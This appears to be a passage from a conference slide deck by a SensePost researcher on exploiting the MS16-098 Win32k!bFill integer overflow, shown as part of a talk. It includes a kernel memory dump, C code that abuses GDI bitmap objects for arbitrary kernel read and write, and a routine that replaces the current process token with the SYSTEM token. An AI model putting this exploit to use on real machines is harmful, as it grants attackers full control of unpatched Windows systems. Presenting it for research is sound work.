ffffff901'70e37bd0 00000000'01052083 00000000'00000000
ffffff901'70e37be0 00000000'01052083 00000000'00000000
ffffff901'70e37bf0 00000000'01052083 00000000'00000000
ffffff901'70e37c00 00000000'00000000 00000001'0000052
ffffff901'70e37c10 00000000'00000000 00000001'0000052
ffffff901'70e37c20 00000000'00000000 00000000'00000000
ffffff901'70e37c30 00100000'00000000 00000000'00000000
ffffff901'70e37c40 00000000'04800200 00000000'00000000
```

Extended sizlBitmap after overflow
MS16-098: Win32k!bFill Integer Overflow
Analysing & Controlling the Overflow

• Where did the value 0xFFFFFFFF that overwritten the Bitmap Height came from?

Subtracts the previous point.y = r10 from the current point.y at ebp

If result was positive write 1 to [point +28] pointed to by rdx

If result was signed (neg) write 0xFFFFFFFF to [point +28] pointed to by rdx
MS16-098: Win32k!bFill Integer Overflow
Abusing Bitmap Objects

- loop over GetBitmapBits, that returns cbBuffer size larger than the original Bitmap allocated during the kernel pool spray.

```c
for (int k=0; k < 5000; k++) {
    res = GetBitmapBits(bitmap[k], 0x1000, bits);
    // if check succeeds we found our bitmap.
    if (res > 0x150)
    {
        hManager = bitmaps[k];
        hWorker = bitmaps[k+1];
        break
    }
}
```
Overflowed Region Object address at the start of the previous Page

```c
addr1[0x0] = 0;
int u = addr1[0x1];
u = u - 0x10;
addr1[1] = u;
```

Overflowed Bitmap Object (previous page address + 0xBC0)

```c
addr1[0] = 0xc0;
int y = addr1[1];
y = y + 0xb;
y = y + 0xb;
addr1[1] = y;
```
void SetAddress(BYTE* address) {
    for (int i = 0; i < sizeof(address); i++) {
        bits[0xdf0 + i] = address[i];
    }
    SetBitmapBits(hManager, 0x1000, bits);
}

void WriteToAddress(BYTE* data) {
    SetBitmapBits(hWorker, sizeof(data), data);
}

SetAddress(addr1);
WriteToAddress(Gh05);

Fix Overflowed Bitmap Header.

Extended Bitmap used as Manager to set the pvScan0 of the Worker Bitmap

Use Worker Bitmap to read/write from location pointed to by pvScan0
The Token of the current process is replaced by the SYSTEM process one, using the arbitrary memory read/write.

```c
// get System EPROCESS
ULONG64 SystemEPROCESS = PsInitialSystemProcess();
//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
ULONG64 SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
// write token to current process
ULONG64 CurProcessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress((BYTE *)&CurProcessAddr);
WriteToAddress((BYTE *)&SystemToken);
// Done and done. We're System :)
```
MS16-098: Win32k!bFill Integer Overflow SYSTEM!!!
Conclusions

• Abuse two GDI objects to abuse Pool Corruption.
• Identify and Exploit the same type of bugs.

• Tools:

• Get a hold of me if you have any questions, ideas, modifications, or if you find where Diego Juarez is?

Saif (at) SensePost.com @Saif_Sherei
Q & A
Thank You